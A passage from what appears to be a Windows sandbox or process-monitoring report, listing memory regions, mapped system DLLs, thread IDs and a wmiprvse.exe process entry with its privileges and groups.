name = "private_0x000001dc77b00000"
filename = ""
Region:
id = 2178
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 2179
start_va = 0x7ffc6a480000
end_va = 0x7ffc6a493fff
monitored = 0
entry_point = 0x7ffc6a482a00
region_type = mapped_file
name = "bitsigd.dll"
filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll")
Region:
id = 2180
start_va = 0x1dc76aa0000
end_va = 0x1dc76ab0fff
monitored = 0
entry_point = 0x1dc76aab160
region_type = mapped_file
name = "upnp.dll"
filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")
Region:
id = 2181
start_va = 0x1dc76aa0000
end_va = 0x1dc76ab0fff
monitored = 0
entry_point = 0x1dc76aab160
region_type = mapped_file
name = "upnp.dll"
filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")
Region:
id = 2182
start_va = 0x3cfd880000
end_va = 0x3cfd8fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd880000"
filename = ""
Region:
id = 2183
start_va = 0x3cfd900000
end_va = 0x3cfd9fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd900000"
filename = ""
Region:
id = 2184
start_va = 0x7ffc69ed0000
end_va = 0x7ffc69ee1fff
monitored = 0
entry_point = 0x7ffc69ed1a80
region_type = mapped_file
name = "bitsproxy.dll"
filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll")
Region:
id = 2185
start_va = 0x3cfda00000
end_va = 0x3cfdafffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfda00000"
filename = ""
Region:
id = 2186
start_va = 0x7ffc65830000
end_va = 0x7ffc65844fff
monitored = 0
entry_point = 0x7ffc65832dc0
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")
Region:
id = 2187
start_va = 0x7ffc666c0000
end_va = 0x7ffc666dafff
monitored = 0
entry_point = 0x7ffc666c1040
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")
Region:
id = 2188
start_va = 0x3cfdb00000
end_va = 0x3cfdbfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfdb00000"
filename = ""
Region:
id = 2189
start_va = 0x1dc76470000
end_va = 0x1dc76471fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76470000"
filename = ""
Region:
id = 2190
start_va = 0x3cfdc00000
end_va = 0x3cfdcfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfdc00000"
filename = ""
Region:
id = 2191
start_va = 0x3cfdd00000
end_va = 0x3cfddfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfdd00000"
filename = ""
Region:
id = 2192
start_va = 0x3cfdf00000
end_va = 0x3cfdf7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfdf00000"
filename = ""
Region:
id = 2193
start_va = 0x3cfdf80000
end_va = 0x3cfdffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfdf80000"
filename = ""
Region:
id = 2194
start_va = 0x1dc764c0000
end_va = 0x1dc764c1fff
monitored = 0
entry_point = 0x1dc764c5630
region_type = mapped_file
name = "sens.dll"
filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")
Region:
id = 2195
start_va = 0x1dc76aa0000
end_va = 0x1dc76aa4fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "stdole2.tlb"
filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")
Region:
id = 2196
start_va = 0x3cfe000000
end_va = 0x3cfe0fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfe000000"
filename = ""
Region:
id = 2197
start_va = 0x3cfe100000
end_va = 0x3cfe1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfe100000"
filename = ""
Region:
id = 2198
start_va = 0x7ffc6b980000
end_va = 0x7ffc6b9d0fff
monitored = 0
entry_point = 0x7ffc6b9825e0
region_type = mapped_file
name = "cscobj.dll"
filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll")
Thread:
id = 7
os_tid = 0x11b8
Thread:
id = 8
os_tid = 0x10dc
Thread:
id = 9
os_tid = 0x10d8
Thread:
id = 10
os_tid = 0x1020
Thread:
id = 11
os_tid = 0xa10
Thread:
id = 12
os_tid = 0x8c
Thread:
id = 13
os_tid = 0xbf0
Thread:
id = 14
os_tid = 0x604
Thread:
id = 15
os_tid = 0xbcc
Thread:
id = 16
os_tid = 0x31c
Thread:
id = 17
os_tid = 0x2c8
Thread:
id = 18
os_tid = 0x314
Thread:
id = 19
os_tid = 0xb98
Thread:
id = 20
os_tid = 0x8c8
Thread:
id = 21
os_tid = 0x8b8
Thread:
id = 22
os_tid = 0xae0
Thread:
id = 23
os_tid = 0x7ac
Thread:
id = 24
os_tid = 0x79c
Thread:
id = 25
os_tid = 0x798
Thread:
id = 26
os_tid = 0x68c
Thread:
id = 27
os_tid = 0x788
Thread:
id = 28
os_tid = 0x504
Thread:
id = 29
os_tid = 0x178
Thread:
id = 30
os_tid = 0x74c
Thread:
id = 31
os_tid = 0xb18
Thread:
id = 32
os_tid = 0x274
Thread:
id = 33
os_tid = 0x460
Thread:
id = 34
os_tid = 0x3ac
Thread:
id = 35
os_tid = 0x6e4
Thread:
id = 36
os_tid = 0x738
Thread:
id = 37
os_tid = 0x2e0
Thread:
id = 38
os_tid = 0x234
Thread:
id = 39
os_tid = 0x228
Thread:
id = 40
os_tid = 0x70c
Thread:
id = 41
os_tid = 0xb84
Thread:
id = 42
os_tid = 0xb40
Thread:
id = 43
os_tid = 0xaec
Thread:
id = 44
os_tid = 0x7c4
Thread:
id = 45
os_tid = 0xb08
Thread:
id = 46
os_tid = 0x330
Thread:
id = 47
os_tid = 0x5fc
Thread:
id = 48
os_tid = 0x4ec
Thread:
id = 49
os_tid = 0xbe0
Thread:
id = 50
os_tid = 0xb70
Thread:
id = 51
os_tid = 0xb78
Thread:
id = 52
os_tid = 0xa38
Thread:
id = 53
os_tid = 0x500
Thread:
id = 54
os_tid = 0x8dc
Thread:
id = 55
os_tid = 0x670
Thread:
id = 56
os_tid = 0x5e0
Thread:
id = 57
os_tid = 0x9f4
Thread:
id = 58
os_tid = 0x9e4
Thread:
id = 59
os_tid = 0x9cc
Thread:
id = 60
os_tid = 0x9ac
Thread:
id = 61
os_tid = 0x9a0
Thread:
id = 62
os_tid = 0x988
Thread:
id = 63
os_tid = 0x980
Thread:
id = 64
os_tid = 0x938
Thread:
id = 65
os_tid = 0x90c
Thread:
id = 66
os_tid = 0x8fc
Thread:
id = 67
os_tid = 0x8f8
Thread:
id = 68
os_tid = 0x8e4
Thread:
id = 69
os_tid = 0x8d8
Thread:
id = 70
os_tid = 0x8d4
Thread:
id = 71
os_tid = 0x8cc
Thread:
id = 72
os_tid = 0x8b0
Thread:
id = 73
os_tid = 0x840
Thread:
id = 74
os_tid = 0x824
Thread:
id = 75
os_tid = 0x54c
Thread:
id = 76
os_tid = 0x45c
Thread:
id = 77
os_tid = 0x674
Thread:
id = 78
os_tid = 0x64c
Thread:
id = 79
os_tid = 0x50c
Thread:
id = 80
os_tid = 0x4dc
Thread:
id = 81
os_tid = 0x4ac
Thread:
id = 82
os_tid = 0x4a4
Thread:
id = 83
os_tid = 0x468
Thread:
id = 84
os_tid = 0x3a4
Thread:
id = 85
os_tid = 0x16c
Thread:
id = 86
os_tid = 0x25c
Thread:
id = 87
os_tid = 0x150
Thread:
id = 88
os_tid = 0x3fc
Thread:
id = 89
os_tid = 0x3f4
Thread:
id = 90
os_tid = 0x3f0
Thread:
id = 91
os_tid = 0x3e8
Thread:
id = 92
os_tid = 0x3dc
Thread:
id = 93
os_tid = 0x3bc
Thread:
id = 94
os_tid = 0x35c
Thread:
id = 117
os_tid = 0x1334
Thread:
id = 118
os_tid = 0x1338
Thread:
id = 119
os_tid = 0x133c
Thread:
id = 120
os_tid = 0x1340
Thread:
id = 161
os_tid = 0x6d4
Thread:
id = 162
os_tid = 0x868
Thread:
id = 163
os_tid = 0xc58
Thread:
id = 164
os_tid = 0xc5c
Thread:
id = 165
os_tid = 0xc60
Thread:
id = 166
os_tid = 0xc74
Thread:
id = 167
os_tid = 0x310
Thread:
id = 168
os_tid = 0x5c4
Thread:
id = 169
os_tid = 0x75c
Thread:
id = 170
os_tid = 0x11a4
Thread:
id = 171
os_tid = 0x1178
Thread:
id = 172
os_tid = 0xa20
Thread:
id = 173
os_tid = 0x3a8
Process:
id = "3"
image_name = "wmiprvse.exe"
filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
page_root = "0x66d07000"
os_pid = "0x1054"
os_integrity_level = "0x4000"
os_privileges = "0x60800000"
monitor_reason = "rpc_server"
parent_id = "2"
os_parent_pid = "0x26c"
cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Network Service"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00052a4e" [0xc000000f]
Region:
id = 770
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 771
start_va = 0x3205a00000
end_va = 0x3205bfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205a00000"
filename = ""
Region:
id = 772
start_va = 0x3205c00000
end_va = 0x3205c7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205c00000"
filename = ""
Region:
id = 773
start_va = 0x3205c80000
end_va = 0x3205cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205c80000"
filename = ""
Region:
id = 774
start_va = 0x3205d00000
end_va = 0x3205d7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205d00000"
filename = ""
Region:
id = 775
start_va = 0x3205d80000
end_va = 0x3205dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205d80000"
filename = ""
Region:
id = 776
start_va = 0x3205e00000
end_va = 0x3205e7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205e00000"
filename = ""
Region:
id = 777
start_va = 0x3205e80000
end_va = 0x3205efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205e80000"
filename = ""
Region:
id = 778
start_va = 0x3205f00000
end_va = 0x3205f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205f00000"
filename = ""
Region:
id = 779
start_va = 0x3205f80000
end_va = 0x3205ffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003205f80000"
filename = ""
Region:
id = 780
start_va = 0x3206000000
end_va = 0x320607ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003206000000"
filename = ""
Region:
id = 781
start_va = 0x3206080000
end_va = 0x32060fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003206080000"
filename = ""
Region:
id = 782
start_va = 0x3206100000
end_va = 0x320617ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003206100000"
filename = ""
Region:
id = 783
start_va = 0x1f32c1b0000
end_va = 0x1f32c1bffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c1b0000"
filename = ""
Region:
id = 784
start_va = 0x1f32c1c0000
end_va = 0x1f32c1c6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c1c0000"
filename = ""
Region:
id = 785
start_va = 0x1f32c1d0000
end_va = 0x1f32c1e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c1d0000"
filename = ""
Region:
id = 786
start_va = 0x1f32c1f0000
end_va = 0x1f32c1f3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c1f0000"
filename = ""
Region:
id = 787
start_va = 0x1f32c200000
end_va = 0x1f32c200fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c200000"
filename = ""
Region:
id = 788
start_va = 0x1f32c210000
end_va = 0x1f32c211fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c210000"
filename = ""
Region:
id = 789
start_va = 0x1f32c220000
end_va = 0x1f32c2ddfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 790
start_va = 0x1f32c2e0000
end_va = 0x1f32c2e6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c2e0000"
filename = ""
Region:
id = 791
start_va = 0x1f32c2f0000
end_va = 0x1f32c3effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c2f0000"
filename = ""
Region:
id = 792
start_va = 0x1f32c3f0000
end_va = 0x1f32c4affff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c3f0000"
filename = ""
Region:
id = 793
start_va = 0x1f32c4b0000
end_va = 0x1f32c4b0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c4b0000"
filename = ""
Region:
id = 794
start_va = 0x1f32c4c0000
end_va = 0x1f32c4c0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c4c0000"
filename = ""
Region:
id = 795
start_va = 0x1f32c4d0000
end_va = 0x1f32c4dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32c4d0000"
filename = ""
Region:
id = 796
start_va = 0x1f32c4e0000
end_va = 0x1f32c816fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 797
start_va = 0x1f32c820000
end_va = 0x1f32c9a7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c820000"
filename = ""
Region:
id = 798
start_va = 0x1f32c9b0000
end_va = 0x1f32cb30fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32c9b0000"
filename = ""
Region:
id = 799
start_va = 0x1f32cb40000
end_va = 0x1f32cb44fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "user32.dll.mui"
filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")
Region:
id = 800
start_va = 0x1f32cb50000
end_va = 0x1f32cb50fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32cb50000"
filename = ""
Region:
id = 801
start_va = 0x1f32cb60000
end_va = 0x1f32cc5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32cb60000"
filename = ""
Region:
id = 802
start_va = 0x1f32cc60000
end_va = 0x1f32cc60fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32cc60000"
filename = ""
Region:
id = 803
start_va = 0x1f32cc70000
end_va = 0x1f32cc70fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32cc70000"
filename = ""
Region:
id = 804
start_va = 0x1f32cc80000
end_va = 0x1f32cc82fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wmi.dll"
filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")
Region:
id = 805
start_va = 0x1f32cc90000
end_va = 0x1f32cc92fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32cc90000"
filename = ""
Region:
id = 806
start_va = 0x1f32cca0000
end_va = 0x1f32cca2fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "security.dll"
filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")
Region:
id = 807
start_va = 0x1f32ccb0000
end_va = 0x1f32ccb4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32ccb0000"
filename = ""
Region:
id = 808
start_va = 0x1f32ccc0000
end_va = 0x1f32cdbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001f32ccc0000"
filename = ""
Region:
id = 809
start_va = 0x1f32cdc0000
end_va = 0x1f32cdc1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001f32cdc0000"
filename = ""
Region:
id = 810
start_va = 0x1f32cdd0000
end_va = 0x1f32cdd2fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "cimwin32.dll.mui"
filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui")
Region:
id = 811
start_va = 0x7df5ff450000
end_va = 0x7ff5ff44ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ff450000"
filename = ""
Region:
id = 812
start_va = 0x7ff61d230000
end_va = 0x7ff61d32ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff61d230000"
filename = ""
Region:
id = 813
start_va = 0x7ff61d330000
end_va = 0x7ff61d352fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff61d330000"
filename = ""
Region:
id = 814
start_va = 0x7ff61da80000
end_va = 0x7ff61dafffff
monitored = 0
entry_point = 0x7ff61da95f50
region_type = mapped_file
name = "wmiprvse.exe"
filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")
Region:
id = 815
start_va = 0x7ffc56240000
end_va = 0x7ffc5640efff
monitored = 1
entry_point = 0x7ffc56267df0
region_type = mapped_file
name = "cimwin32.dll"
filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")
Region:
id = 816
start_va = 0x7ffc58e40000
end_va = 0x7ffc58e8dfff
monitored = 0
entry_point = 0x7ffc58e51ce0
region_type = mapped_file
name = "framedynos.dll"
filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")
Region:
id = 817
start_va = 0x7ffc5c140000
end_va = 0x7ffc5c14dfff
monitored = 0
entry_point = 0x7ffc5c141da0
region_type = mapped_file
name = "winbrand.dll"
filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")
Region:
id = 818
start_va = 0x7ffc5f5c0000
end_va = 0x7ffc5f5d5fff
monitored = 0
entry_point = 0x7ffc5f5c55e0
region_type = mapped_file
name = "ncobjapi.dll"
filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")
Region:
id = 819
start_va = 0x7ffc5f650000
end_va = 0x7ffc5f674fff
monitored = 0
entry_point = 0x7ffc5f659900
region_type = mapped_file
name = "wmiutils.dll"
filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")
Region:
id = 820
start_va = 0x7ffc5f680000
end_va = 0x7ffc5f693fff
monitored = 0
entry_point = 0x7ffc5f681800
region_type = mapped_file
name = "wbemsvc.dll"
filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")
Region:
id = 821
start_va = 0x7ffc5f6a0000
end_va = 0x7ffc5f795fff
monitored = 0
entry_point = 0x7ffc5f6d9590
region_type = mapped_file
name = "fastprox.dll"
filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")
Region:
id = 822
start_va = 0x7ffc60000000
end_va = 0x7ffc60010fff
monitored = 0
entry_point = 0x7ffc60002fc0
region_type = mapped_file
name = "wbemprox.dll"
filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")
Region:
id = 823
start_va = 0x7ffc60160000
end_va = 0x7ffc6016bfff
monitored = 0
entry_point = 0x7ffc601635c0
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 824
start_va = 0x7ffc60f00000
end_va = 0x7ffc60f7efff
monitored = 1
entry_point = 0x7ffc60f17110
region_type = mapped_file
name = "wbemcomn.dll"
filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")
Region:
id = 825
start_va = 0x7ffc63b90000
end_va = 0x7ffc63bb5fff
monitored = 0
entry_point = 0x7ffc63b91cf0
region_type = mapped_file
name = "srvcli.dll"
filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")
Region:
id = 826
start_va = 0x7ffc66630000
end_va = 0x7ffc66641fff
monitored = 0
entry_point = 0x7ffc66633580
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")
Region:
id = 827
start_va = 0x7ffc67600000
end_va = 0x7ffc6760afff
monitored = 0
entry_point = 0x7ffc676012b0
region_type = mapped_file
name = "schedcli.dll"
filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll")
Region:
id = 828
start_va = 0x7ffc67960000
end_va = 0x7ffc67978fff
monitored = 0
entry_point = 0x7ffc67964520
region_type = mapped_file
name = "samcli.dll"
filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")
Region:
id = 829
start_va = 0x7ffc6a290000
end_va = 0x7ffc6a2cdfff
monitored = 0
entry_point = 0x7ffc6a29a050
region_type = mapped_file
name = "logoncli.dll"
filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")
Region:
id = 830
start_va = 0x7ffc6a5f0000
end_va = 0x7ffc6a605fff
monitored = 0
entry_point = 0x7ffc6a5f1b60
region_type = mapped_file
name = "wkscli.dll"
filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")
Region:
id = 831
start_va = 0x7ffc6a910000
end_va = 0x7ffc6a920fff
monitored = 0
entry_point = 0x7ffc6a913320
region_type = mapped_file
name = "wmiclnt.dll"
filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")
Region:
id = 832
start_va = 0x7ffc6b450000
end_va = 0x7ffc6b459fff
monitored = 0
entry_point = 0x7ffc6b451660
region_type = mapped_file
name = "dsrole.dll"
filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")
Region:
id = 833
start_va = 0x7ffc6ca10000
end_va = 0x7ffc6ca23fff
monitored = 0
entry_point = 0x7ffc6ca11310
region_type = mapped_file
name = "browcli.dll"
filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")
Region:
id = 834
start_va = 0x7ffc6ca30000
end_va = 0x7ffc6ca42fff
monitored = 0
entry_point = 0x7ffc6ca32760
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 835
start_va = 0x7ffc6cd00000
end_va = 0x7ffc6cd26fff
monitored = 0
entry_point = 0x7ffc6cd07940
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 836
start_va = 0x7ffc6d6d0000
end_va = 0x7ffc6d6dbfff
monitored = 0
entry_point = 0x7ffc6d6d27e0
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Region:
id = 837
start_va = 0x7ffc6d810000
end_va = 0x7ffc6d889fff
monitored = 0
entry_point = 0x7ffc6d831a50
region_type = mapped_file
name = "schannel.dll"
filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")
Region:
id = 838
start_va = 0x7ffc6df40000
end_va = 0x7ffc6df6cfff
monitored = 0
entry_point = 0x7ffc6df59d40
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 839
start_va = 0x7ffc6e0d0000
end_va = 0x7ffc6e125fff
monitored = 0
entry_point = 0x7ffc6e0e0bf0
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 840
start_va = 0x7ffc6e150000
end_va = 0x7ffc6e178fff
monitored = 0
entry_point = 0x7ffc6e164530
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 841
start_va = 0x7ffc6e2e0000
end_va = 0x7ffc6e32afff
monitored = 0
entry_point = 0x7ffc6e2e35f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 842
start_va = 0x7ffc6e330000
end_va = 0x7ffc6e33efff
monitored = 0
entry_point = 0x7ffc6e333210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 843
start_va = 0x7ffc6e340000
end_va = 0x7ffc6e34ffff
monitored = 0
entry_point = 0x7ffc6e3456e0
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 844
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 845
start_va = 0x7ffc6e6f0000
end_va = 0x7ffc6e706fff
monitored = 0
entry_point = 0x7ffc6e6f1390
region_type = mapped_file
name = "netapi32.dll"
filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")
Region:
id = 846
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 847
start_va = 0x7ffc6ee80000
end_va = 0x7ffc6eec2fff
monitored = 0
entry_point = 0x7ffc6ee94b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 848
start_va = 0x7ffc6eed0000
end_va = 0x7ffc6f096fff
monitored = 0
entry_point = 0x7ffc6ef2db80
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 849
start_va = 0x7ffc6f0a0000
end_va = 0x7ffc6f160fff
monitored = 0
entry_point = 0x7ffc6f0c0da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 850
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 851
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 852
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 853
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 854
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
